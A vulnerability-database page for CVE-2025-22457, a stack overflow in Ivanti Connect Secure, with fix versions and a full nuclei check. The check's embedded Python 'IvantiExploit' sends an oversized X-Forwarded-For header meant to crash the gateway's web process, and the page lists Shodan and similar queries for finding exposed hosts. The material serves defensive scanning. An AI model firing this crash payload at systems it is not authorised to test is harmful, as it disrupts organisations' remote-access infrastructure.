HexBrain

Browse / CVEs / CVE-2025-22457

CVE-2025-22457· ivanti / connect secure· CWE-121, CWE-787

Ivanti Connect Secure - Stack-based Buffer Overflow

Exploited in the wild. Listed by CISA on 2025-04-04; known to be used by ransomware.

criticalseverity
9CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by improper input handling, allowing remote attackers to execute arbitrary code without authentication.

Impact

Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.

Fix

Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.

How to confirm it

Send: GET {{BaseURL}}/dana-na/auth/url_default/welcome.cgi
Positive when: contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na") and status_code == 200
Positive when: contains "VULNERABLE:"

Run it with nuclei: nuclei -id CVE-2025-22457 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2025-22457

info:
  name: Ivanti Connect Secure - Stack-based Buffer Overflow
  author: s4e-io,pussycat0x
  severity: critical
  description: |
    Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4,
    and Ivanti ZTA Gateways before version 22.8R2.2 contain a stack-based buffer overflow caused by
    improper input handling, allowing remote attackers to execute arbitrary code without authentication.
  impact: |
    Remote attackers can execute arbitrary code on the affected systems, potentially leading to full system compromise.
  remediation: |
    Update to the latest versions: Ivanti Connect Secure 22.7R2.6 or later, Ivanti Policy Secure 22.7R1.4 or later, Ivanti ZTA Gateways 22.8R2.2 or later.
  reference:
    - https://labs.watchtowr.com/is-the-sofistication-in-the-room-with-us-x-forwarded-for-and-ivanti-connect-secure-cve-2025-22457
    - https://www.cvedetails.com/cve/CVE-2025-22457
    - https://github.com/securekomodo/CVE-2025-22457
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
    epss-score: 0.99981
    epss-percentile: 0.99981
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
    product: connect_secure
    shodan-query: http.title:"ivanti connect secure"
    fofa-query: title="ivanti connect secure"
    zoomeye-query: title:"ivanti connect secure"
    google-query: intitle:"ivanti connect secure"
  tags: cve,cve2025,ivanti,intrusive,kev,vkev,vuln

variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

flow: http(1) && code(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
          - 'status_code == 200'
        condition: and

code:
  - engine:
      - py
      - python3

    source: |
      import os
      import time
      import requests
      import re

      requests.packages.urllib3.disable_warnings()

      PATHS = [
          "/dana-na/auth/url_default/welcome.cgi",
          "/dana-na/setup/psaldownload.cgi",
      ]

      IVANTI_MARKERS = [
          "Ivanti Connect Secure",
          "Pulse Secure",
          "DSLaunchURL",
          "welcome.cgi",
          "dana-na",
      ]

      TIMEOUT_NORMAL = 5
      TIMEOUT_PAYLOAD = 10

      def safe_request(method, url, headers=None, timeout=5):
          try:
              if method == "GET":
                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
              elif method == "POST":
                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
          except requests.exceptions.RequestException:
              return None

      class IvantiExploit:
          def __init__(self, host, port):
              self.host = host.rstrip("/")
              self.port = port

          def build_url(self, path):
              host = self.host
              if not host.startswith("http://") and not host.startswith("https://"):
                  host = f"https://{host}"
              return f"{host}:{self.port}{path}"

          def is_ivanti(self, response_text):
              for marker in IVANTI_MARKERS:
                  if marker in response_text:
                      return True
              return False

          def check_vuln(self):
              for path in PATHS:
                  url = self.build_url(path)

                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
                  if not r1 or r1.status_code != 200:
                      continue

                  if not self.is_ivanti(r1.text):
                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
                      return False

                  print(f"Ivanti fingerprint confirmed on {url}")

                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
                  # A vulnerable server will CRASH (no response / timeout)
                  # A patched or non-vulnerable server will respond normally
                  payload_headers = {
                      "User-Agent": "Mozilla/5.0",
                      "X-Forwarded-For": "1" * 2048,
                  }
                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)

                  if r2 is not None:
                      # Server responded normally = NOT crashed = NOT vulnerable
                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
                      continue

                  # r2 is None = no response = potential crash
                  print("No response to payload (potential crash detected). Verifying...")

                  # Step 3: Follow-up check - server should recover and return 200
                  # Ivanti's web process auto-restarts after crash
                  time.sleep(2)
                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)

                  if r3 is not None and r3.status_code == 200:
                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
                      return True
                  else:
                      status = r3.status_code if r3 else "no response"
                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
                      continue

              print("Target appears safe.")
              return False

      if __name__ == "__main__":
          host = os.getenv("Host")
          port = os.getenv("Port")
          IvantiExploit(host, port).check_vuln()

    matchers:
      - type: word
        words:
          - "VULNERABLE:"

References

Use this check only on systems you are authorised to test. Where the data comes from